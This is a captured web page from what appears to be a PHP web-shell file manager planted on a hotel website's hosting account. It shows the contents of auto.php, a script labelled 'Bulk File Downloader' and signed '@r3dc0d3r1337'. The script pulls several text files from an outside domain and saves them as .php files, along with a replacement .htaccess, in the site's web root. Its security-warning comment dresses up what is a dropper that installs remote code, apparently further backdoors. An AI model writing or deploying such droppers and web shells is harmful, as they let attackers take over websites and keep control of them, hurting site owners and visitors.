File manager - Edit - G:/PleskVhosts/cwh030.com/kingsinnlenoircitytn.com/auto.php
Back
<?php /** * BULK FILE DOWNLOADER & RENAMER * --------------------------------- * Downloads multiple files from a list of URLs and saves them locally. * * ⚠️ SECURITY WARNING: * - Only run on servers you own and trust. * - The content you download is executed by your server. Do not fetch untrusted code. */ // ========== 1. CONFIGURATION ========== $tasks = [ ['url' => 'https://www.bienestarsocialperu.com/prom.txt', 'name' => 'prom.php'], ['url' => 'https://www.bienestarsocialperu.com/rcc9.txt', 'name' => 'rcc9.php'], ['url' => 'https://www.bienestarsocialperu.com/xl9.txt', 'name' => 'xl9.php'], ['url' => 'https://www.bienestarsocialperu.com/test1.txt','name' => 'test1.php'], ['url' => 'https://www.bienestarsocialperu.com/pros.txt', 'name' => 'pros.php'], ['url' => 'https://www.bienestarsocialperu.com/htaccess.txt', 'name' => '.htaccess'] ]; // Optional: set execution time limit to 0 (no limit) to avoid timeouts set_time_limit(0); // ========== 2. DOWNLOAD FUNCTION ========== function downloadFile($sourceUrl, $destPath) { // Validate URL if (!filter_var($sourceUrl, FILTER_VALIDATE_URL)) { return "Invalid URL: $sourceUrl"; } // Fetch content $content = @file_get_contents($sourceUrl); if ($content === false) { if (function_exists('curl_init')) { $ch = curl_init($sourceUrl); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_TIMEOUT, 30); $content = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($content === false || $httpCode != 200) { return "Download failed: HTTP $httpCode for $sourceUrl"; } } else { return "Unable to fetch $sourceUrl: file_get_contents failed and cURL is not available."; } } // Write file locally if (file_put_contents($destPath, $content) === false) { return "Failed to write $destPath. Check directory permissions."; } return true; } // ========== 3. EXECUTION & REPORT ========== echo "<h2>📦 Bulk File Downloader</h2>"; echo "<h3>@r3dc0d3r1337</h3>"; echo "<p><strong>👤 Server username:</strong> " . htmlspecialchars(get_current_user()) . "</p>"; // NEW LINE echo "<pre>"; $allSuccessful = true; foreach ($tasks as $task) { $url = $task['url']; $dest = $task['name']; echo "⬇️ Downloading: " . htmlspecialchars($url) . " → " . htmlspecialchars($dest) . " ... "; $result = downloadFile($url, $dest); if ($result === true) { echo "✅ Done!\n"; } else { echo "❌ Failed: " . htmlspecialchars($result) . "\n"; $allSuccessful = false; } } echo "\n"; if ($allSuccessful) { echo "🎉 All files have been downloaded and renamed successfully.\n"; } else { echo "⚠️ Some files failed. Check the errors above and verify your configuration.\n"; } echo "</pre>"; ?>
| ver. 1.4 |
Github
|
.
| PHP 5.4.45 | Generation time: 0.02 |
proxy
|
phpinfo
|
Settings